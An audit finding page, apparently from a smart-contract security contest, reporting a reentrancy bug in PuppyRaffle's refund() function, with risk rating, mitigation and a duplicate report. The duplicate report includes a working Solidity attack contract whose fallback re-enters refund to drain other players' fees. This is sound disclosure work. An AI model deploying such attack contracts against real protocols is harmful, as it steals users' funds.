Reentrancy in refund() lets a malicious contract drain other players' entrance fees
Summary
PuppyRaffle::refund sends ETH to the caller before clearing that player's slot in the players array. A malicious contract entering the raffle can recursively call refund from its receive() function and drain far more ETH than it ever deposited.
Description
sendValue performs a low-level call that forwards all remaining gas and hands control to msg.sender. If msg.sender is a contract, its receive()/fallback() runs before players[playerIndex] is zeroed. The playerAddress == msg.sender and playerAddress != address(0) checks still both pass on re-entry, so the attacker can call refund(playerIndex) again, and again, each time collecting another entranceFee — until the contract's ETH balance is exhausted. Only the attacker's own single entry gets zeroed out at the very end (in the outermost call frame), but by then every other player's deposit sitting in the contract has already been paid out to the attacker.
Risk
Likelihood: High — requires only entering the raffle from a contract with a receive() function; no special timing or race condition needed, works on the very first refund call.
Impact: High — a single malicious entrant can drain the entire contract balance, stealing every other player's entrance fee.
Proof of Concept
test/PoC_dngr2.t.sol::test_H1_reentrancy_drainsContract — 10 honest players enter (10 ETH total), then an attacker contract enters once (1 ETH) and calls refund a single time from outside. Its receive() re-enters refund 4 more times before the recursion is capped (purely so the PoC terminates deterministically — nothing in the contract itself bounds the recursion beyond the contract's remaining balance):
Result: the attacker deposited 1 entranceFee and walked away with 5 — a 5x return, funded entirely by the other players' deposits still sitting in the contract. The test asserts attackerGain == entranceFee * 5 and attackerGain > entranceFee. Run: forge test --match-test test_H1_reentrancy_drainsContract -vv (passes).
Recommended Mitigation
Follow checks-effects-interactions: zero out the player's slot before sending the refund, and/or add a nonReentrant guard.
Lead Judging Commences
[H-02] Reentrancy Vulnerability In refund() function
## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.
Rewards breakdown
Live
The contest is live. Earn rewards by submitting a finding.
Judging
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsRewards Distribution
The contest is complete and the rewards are being distributed.